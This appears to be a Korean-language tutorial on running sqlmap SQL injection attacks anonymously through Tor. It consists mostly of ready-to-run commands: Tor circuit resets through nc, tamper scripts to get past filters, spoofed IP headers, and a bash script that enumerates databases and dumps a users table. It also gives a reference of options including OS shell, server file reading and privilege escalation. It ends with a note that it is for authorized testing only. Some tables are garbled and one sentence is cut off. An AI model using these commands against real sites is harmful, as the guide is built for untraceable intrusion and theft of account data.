sudo apt update
sudo apt install tor torsocks -y
sudo systemctl start tor
sudo systemctl enable tor
torsocks curl https://check.torproject.org
# "Congratulations. This browser is configured to use Tor." 출력 확인
echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\nQUIT' | nc 127.0.0.1 9051
sudo apt install sqlmap -y
sqlmap -u "http://example.com/page.php?id=1" --batch
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 --check-tor \
--batch
--tor: Tor 네트워크 사용--tor-type=SOCKS5: SOCKS5 프록시 사용 (Tor의 기본)--check-tor: Tor 연결 확인--batch: 모든 대화형 질문에 기본값으로 응답sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 --check-tor \
--random-agent \
--delay=3 \
--timeout=30 \
--retries=3 \
--hex \
--output-dir=/tmp/sqlmap_tor_results
| 옵션 | 설명 | 권장값 |
|---|---|---|
--random-agent | 랜덤 User-Agent 사용 | 항상 사용 |
--delay | 요청 간 지연 시간(초) | 2-5초 |
--timeout | 연결 타임아웃(초) | 20-60초 |
--retries | 실패 시 재시도 횟수 | 3-5회 |
--hex | 특수 문자 HEX 인코딩 | 필터 우회 시 |
--output-dir | 결과 저장 디렉토리 | /tmp/... |
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123" \
--tor --tor-type=SOCKS5 \
--method=POST \
--level=5 \
--risk=3
sqlmap -u "http://example.com/dashboard.php" \
--cookie="PHPSESSID=1234567890abcdef; security=high" \
--tor --tor-type=SOCKS5 \
--batch \
--dbs
# urls.txt 파일 생성
echo "http://example.com/page1.php?id=1" > urls.txt
echo "http://example.com/page2.php?user=2" >> urls.txt
echo "http://example.com/search?q=test" >> urls.txt
# 명령어 실행
sqlmap -m urls.txt \
--tor --tor-type=SOCKS5 \
--threads=2 \
--smart
git clone --depth 1 https://github.com/danielmiessler/SecLists.git
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--common-tables \
-t ./SecLists/Discovery/Web-Content/common-tables.txt \
--threads=2
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--columns \
-c ./SecLists/Discovery/Web-Content/common-columns.txt
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--tamper=space2comment,charencode,randomcase \
--level=5 \
--risk=3
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--random-agent \
--headers="X-Forwarded-For:127.0.0.1\nX-Real-IP:127.0.0.1" \
--eval="import random; print('X-Custom-Header: %d' % random.randint(1000,9999))"
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--dbms=mysql \
--common-tables \
-t ./SecLists/Discovery/Web-Content/MySQL.txt \
--hex
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--dbms=oracle \
--common-tables \
-t ./SecLists/Discovery/Web-Content/Oracle.txt \
--no-escape
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--session=example_session
sqlmap --session=example_session \
--tor --tor-type=SOCKS5
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--threads=2 \ # 낮은 스레드 수 유지
--delay=5 \ # 높은 딜레이 설정
--timeout=60 \ # 긴 타임아웃 설정
--retries=5 \ # 재시도 횟수 증가
--keep-alive # Keep-Alive 연결 사용
sqlmap -u "http://example.com/page.php?id=1" \
--tor --tor-type=SOCKS5 \
--delay=3 --time-sec=5 \
--randomize=length \
--safe-url="http://example.com/" \
--safe-freq=10
#!/bin/bash
# Tor 회로 재설정
reset_tor() {
echo -e 'AUTHENTICATE ""\r\nSIGNAL NEWNYM\r\nQUIT' | nc 127.0.0.1 9051
sleep 10
}
# 대상 URL
TARGET="http://example.com/vulnerable.php?id=1"
# 1. 기본 스캔
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --batch --dbs
# 2. 테이블 열거
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --tables -D testdb
# 3. 데이터 덤프
reset_tor
sqlmap -u "$TARGET" --tor --tor-type=SOCKS5 --dump -D testdb -T users
--output-dir로 결과 저장 및 분석--session 사용--delay와 --threads로 네트워크 부하 조절# Tor 연결 실패 시
sudo systemctl status tor
sudo tail -f /var/log/tor/log
# SQLMap Tor 연결 확인
sqlmap --check-tor
# 상세 로깅
sqlmap -u "http://example.com/page.php?id=1" --tor -v 6
# Tor 설정 변경 (/etc/tor/torrc)
ExitNodes {us},{gb},{de} # 특정 국가 출구 노드 지정
StrictNodes 1 # 지정된 노드만 사용
# Tor 재시작
sudo systemctl restart tor
이 가이드는 교육 및 합법적인 보안 테스트 목적으로만 사용되어야 합니다. 모든 테스트는 대상 시스템 소유자의 명시적인 허가를 받아 수행해야 합니다.
sqlmap -u "http://example.com/page.php?id=1" --batch 내부 동작 상세 분석이 명령어는 SQLMap의 완전 자동화 모드로, 내부적으로 다음과 같은 복잡한 프로세스를 자동으로 수행합니다:
if not injection_point:
for param in url_params:
if is_injectable(param):
targets.append(param)graph TD
A[Boolean-based 테스트] --> B[Error-based 테스트]
B --> C[Time-based 테스트]
C --> D[UNION 쿼리 테스트]
D --> E[스택드 쿼리 테스트]
E --> F[Out-of-band 테스트]
5단계 공격 기법 순차적 시도:
1=1/1=2 불린 기반 테스트AND (SELECT 2*(IF((SELECT * FROM ... 에러 기반 테스트SLEEP(5) 타임딜레이 테스트UNION ALL SELECT NULL,... 유니온 기반 테스트; DROP TABLE temp 스택드 쿼리 테스트자동화된 페이로드 생성:
payloads = generate_payloads(
techniques=['boolean','error','time','union','stacked'],
level=1, # --batch 기본값
risk=1 # --batch 기본값
)
SELECT version(), user(), database()SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns
WHERE table_name = 'users'priority_tables = ['users','accounts','customers','passwords']
for table in priority_tables:
if table in detected_tables:
dump_data(table)# 실제 내부 동작
sqlmap --save -s ~/.sqlmap/output/session.sqlite--batch 모드의 핵심 자동화 원리모든 대화형 프롬프트에 기본값 적용:
# 의사코드 예시
def prompt(question, default='Y'):
if '--batch' in sys.argv:
return default
# ... 사용자 입력 대기
최소한의 위험 설정:
--level=1 (기본 테스트만 수행)--risk=1 (낮은 위험도 공격만 시도)지능형 결정 알고리즘:
if vulnerable and not sensitive_data:
continue_attack = True # 공격 계속 진행
elif sensitive_data_detected:
ask_permission = False # --batch는 자동 계속
[INFO] testing connection to target
[INFO] testing if parameter 'id' is dynamic
[PAYLOAD] 1 AND 1=1
[PAYLOAD] 1 AND 1=2
[INFO] parameter 'id' is vulnerable
[INFO] DBMS: MySQL >= 5.0
[INFO] fetching database names
[INFO] resumed: ['information_schema', 'webapp']
[INFO] fetching tables for database 'webapp'
[INFO] resumed: ['users','products','logs']
[INFO] auto-selecting table 'users'
[INFO] fetching columns for table 'users'
[INFO] resumed: ['id','username','password']
[INFO] dumping table 'users'
[INFO] resumed: (1, 'admin', '9f86d081...')
--batch의 숨은 위험성- 경고: 이 모드는 공격의 공격성을 제한하지만
+ 자동으로 중요한 데이터(사용자 계정 등)를 덤프할 수 있음
- 법적 문제 발생 가능성이 있으므로 반드시 허가된 환경에서만 사용
sqlmap -u "http://example.com/page.php?id=1" --batch \
--dump-all # 모든 DB/테이블 덤프
--exclude-sysdbs # 시스템 DB 제외
--flush-session # 이전 세션 무시
이 명령어 한 줄 뒤에는 수백 개의 SQL 쿼리, 다양한 탐지 기법, 데이터 분석 로직이 숨겨져 있습니다. SQLMap의 자동화 엔진은 실제로 15만 줄 이상의 Python 코드로 구현된 지능형 취약점 탐지
| 분류 | 옵션 | 설명 |
|---|---|---|
| 📌 기본 설정 | -u | URL 지정 (ex: -u "http://target.com/index.php?id=1") |
-r | 요청(Request) 파일 사용 | |
--data | POST 데이터 직접 입력 | |
--cookie | 쿠키 입력 | |
--headers | 사용자 정의 헤더 입력 | |
--proxy | 프록시 지정 (ex: --proxy="http://127.0.0.1:8080") | |
--tor | Tor 네트워크 사용 | |
--timeout | 타임아웃 설정 | |
--retries | 재시도 횟수 설정 |
| 분류 | 옵션 | 설명 |
|---|---|---|
| 🔎 탐지 관련 | --level | 인젝션 테스트 강도 (1~5, 기본: 1) |
--risk | 위험 수준 설정 (1~3, 기본: 1) | |
--technique | 사용할 공격 기술 선택 (ex: B, T, U, S, E, Q) | |
--batch | 자동으로 모든 질문에 "yes"로 응답 | |
--random-agent | 랜덤 User-Agent 사용 | |
--delay | 요청 간 딜레이 (초) | |
--time-sec | 타임기반 인젝션 시간 (ex: --time-sec=10) |
| 분류 | 옵션 | 설명 |
|---|---|---|
| 📂 데이터베이스 정보 | --dbs | 데이터베이스 목록 출력 |
--tables | 테이블 목록 출력 (-D 옵션 필요) | |
--columns | 컬럼 목록 출력 (-D, -T 필요) | |
--dump | 데이터 덤프 | |
--dump-all | 전체 데이터베이스의 데이터 덤프 | |
-D | 데이터베이스 이름 지정 | |
-T | 테이블 이름 지정 | |
-C | 컬럼 이름 지정 |
| 분류 | 옵션 | 설명 |
|---|---|---|
| 🛠️ 인증/우회 | --auth-type | 인증 방식 설정 (ex: Basic, Digest 등) |
--auth-cred | 인증 자격 입력 (ex: user\:pass) | |
--ignore-code | 특정 HTTP 코드 무시 | |
--string | 성공 판단 문자열 지정 | |
--not-string | 실패 판단 문자열 지정 | |
--code | 성공 응답 코드 지정 | |
--safe-url, --safe-post | 공격 후 접근할 안전 URL 및 POST 요청 |
| 분류 | 옵션 | 설명 |
|---|---|---|
| ⚙️ 고급 기능 | --os-shell | OS 쉘 획득 |
--os-cmd | OS 명령어 실행 | |
--sql-shell | SQL 쉘 인터페이스 | |
--file-read | 서버 파일 읽기 | |
--file-write | 서버 파일 쓰기 | |
--file-dest | 파일 쓰기 대상 경로 | |
--priv-esc | 권한 상승 시도 | |
--passwords | DB 사용자 패스워드 덤프 | |
--users | DB 사용자 목록 출력 | |
--roles | DB 역할 정보 | |
--privileges | DB 권한 정보 출력 |
| 분류 | 옵션 | 설명 |
|---|---|---|
| 🧪 테스트 | --identify-waf | WAF(Web Application Firewall) 탐지 |
--tor-type | Tor 방식 선택 (ex: SOCKS5) | |
--check-tor | Tor 동작 확인 | |
--flush-session | 세션 캐시 삭제 | |
--crawl | 링크 크롤링 | |
--forms | 폼 자동 탐지 | |
--crawl-exclude | 크롤링 제외 경로 설정 |
| 분류 | 옵션 | 설명 |
|---|---|---|
| 🧰 기타 | --update | sqlmap 업데이트 |
--purge-output | 출력 디렉토리 삭제 | |
--wizard | 단계별 마법사 실행 | |
--output-dir | 결과 저장 디렉토리 지정 | |
--tamper | 탐지 우회용 Tamper 스크립트 사용 |
--level, --risk--dbs, --tables, --columns, --dump--os-shell, --file-read, --priv-esc--tamper, --random-agent, --tor